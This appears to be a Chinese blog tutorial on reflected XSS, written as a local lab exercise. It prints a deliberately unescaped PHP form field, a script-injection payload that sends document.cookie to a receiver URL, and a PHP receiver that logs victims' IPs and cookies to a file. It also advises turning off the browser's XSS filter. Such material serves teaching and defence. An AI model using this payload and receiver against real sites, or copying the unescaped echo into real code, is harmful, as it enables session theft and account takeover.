当前位置: 首页 > news >正文

XSS攻击的简单实现

xss 跨站脚本攻击(Cross Site Script)

 

①在慕课网跟着教学视频自己编写一个网页 ,用这个网页模拟有XSS漏洞的网站。

在网页源码中插入了这样一句话。

      这句话的作用其实是:显示一个搜索框。将搜索框中显示的内容是你用户输入之后的内容。

      通过看网站源码,我们可以知道,他让用户在显示框输入一个内容,然后就把这个内容当做显示框内容显示。

      但是,该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在。

     也就是说,网页会将我们输入的那个网址,带入到整个html代码中再执行一遍,那么,这样的话,我们如果像sql注入一样,输入的网址中包含着命令呢?网页岂不是就把我们的命令也一起执行了吗。

②写一个黑客接受程序  xss_hacker.php

      接收我们引导用户点击网页发送过来的信息,并将信息保存在本地。

     把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用。

③使用IE浏览器访问网站

      应当注意的一点是,现在的浏览器都有对xss的过滤功能,所以如果我们要实验演示的话,应该现在浏览器设置中将xss筛选器关掉。

       用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息,网站通过验证cookie来确实是否是合法已登录用户,所以cookie是用户的敏感数据。

准备攻击

我们构造一段输入内容

"/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!–

只要把这个字符串作为漏洞网站文本编辑框的表单值输入提交,就会造成攻击。手工输入这个字符串,并提交。

此时,用户访问漏洞网站的html代码,被修改成了:

明显看出,这个html回去执行一个脚本,这个脚本功能是把用户的cookie发送到黑客的接收网站。

这样,我们xss_hacker.php脚本执行之后,我们本地就会生成一个xss_get.txt.

即拿到用户的cookie。

 

 

重点语句的作用:

    PHP 超全局变量 $_GET 和 $_POST 用于收集表单数据。

    比如一个网页,让用户输入’name’和’email’,然后发送到当前页面。那么在当前页面,用$_POST["name"]就可以直接用发送来的值。

插入的代码

 <form>  
    <input style="width:300px;"  type="text" 
    name="address1" value="<?php  echo $_GET["address1"]; ?>" />  
 
    <input type="submit" value="Submit" />  
 </form>  

xss_hacker.php

<?php
$victim = 'XSS得到的 cookie:'.$_SERVER['REMOTE_ADDR'].':'.$_GET['cookie'];
echo $_GET['cookie'];
file_put_contents('xss_get.txt',$victim);
?>

 

 

相关文章:

  • gcc 中-O1 -O2 -O3 优化的原理
  • 人工智能实践:Tensorflow笔记(一):人工智能概述
  • Python相关知识
  • 人工智能实践:Tensorflow笔记(二):TensorFlow框架
  • HTTPS 与 SSL
  • Windows的口令文件SAM
  • Windows组策略
  • Windows启动文件夹与设置开机自启动脚本/软件开机自启
  • Windows任务计划程序
  • WSH和FSO
  • Windows修改注册表实现开机自启动
  • ActiveX
  • 操作系统市场份额
  • desktop.ini和folder.htt
  • 人工智能实践:Tensorflow笔记(三):神经网络优化
  • 分享的文章《人生如棋》
  • docker python 配置
  • ES学习笔记(12)--Symbol
  • JS进阶 - JS 、JS-Web-API与DOM、BOM
  • JS题目及答案整理
  • Linux中的硬链接与软链接
  • php中curl和soap方式请求服务超时问题
  • seaborn 安装成功 + ImportError: DLL load failed: 找不到指定的模块 问题解决
  • 前端学习笔记之观察者模式
  • 推荐一个React的管理后台框架
  • 你对linux中grep命令知道多少?
  • const的用法,特别是用在函数前面与后面的区别
  • ###C语言程序设计-----C语言学习(3)#
  • #pragam once 和 #ifndef 预编译头
  • $(selector).each()和$.each()的区别
  • (10)ATF MMU转换表
  • (2/2) 为了理解 UWP 的启动流程,我从零开始创建了一个 UWP 程序
  • (done) ROC曲线 和 AUC值 分别是什么?
  • (Forward) Music Player: From UI Proposal to Code
  • (rabbitmq的高级特性)消息可靠性
  • (webRTC、RecordRTC):navigator.mediaDevices undefined
  • (转)使用VMware vSphere标准交换机设置网络连接
  • .net core 源码_ASP.NET Core之Identity源码学习
  • .net php 通信,flash与asp/php/asp.net通信的方法
  • .NET/C# 在 64 位进程中读取 32 位进程重定向后的注册表
  • .NET成年了,然后呢?
  • .pop ----remove 删除
  • [1159]adb判断手机屏幕状态并点亮屏幕
  • [2010-8-30]
  • [2016.7 test.5] T1
  • [android] 手机卫士黑名单功能(ListView优化)
  • [C语言][PTA基础C基础题目集] strtok 函数的理解与应用
  • [GN] Vue3.2 快速上手 ---- 核心语法2
  • [GPT]Andrej Karpathy微软Build大会GPT演讲(上)--GPT如何训练
  • [halcon案例2] 足球场的提取和射影变换
  • [JavaWeb学习] idea新建web项目
  • [NET].NET Framework 3.5 SP1 真正的离线安装(转)
  • [Python] 字典操作及方法总结
  • [Quartz笔记]玩转定时调度
  • [Spark、hadoop]spark Streaming的核心DStream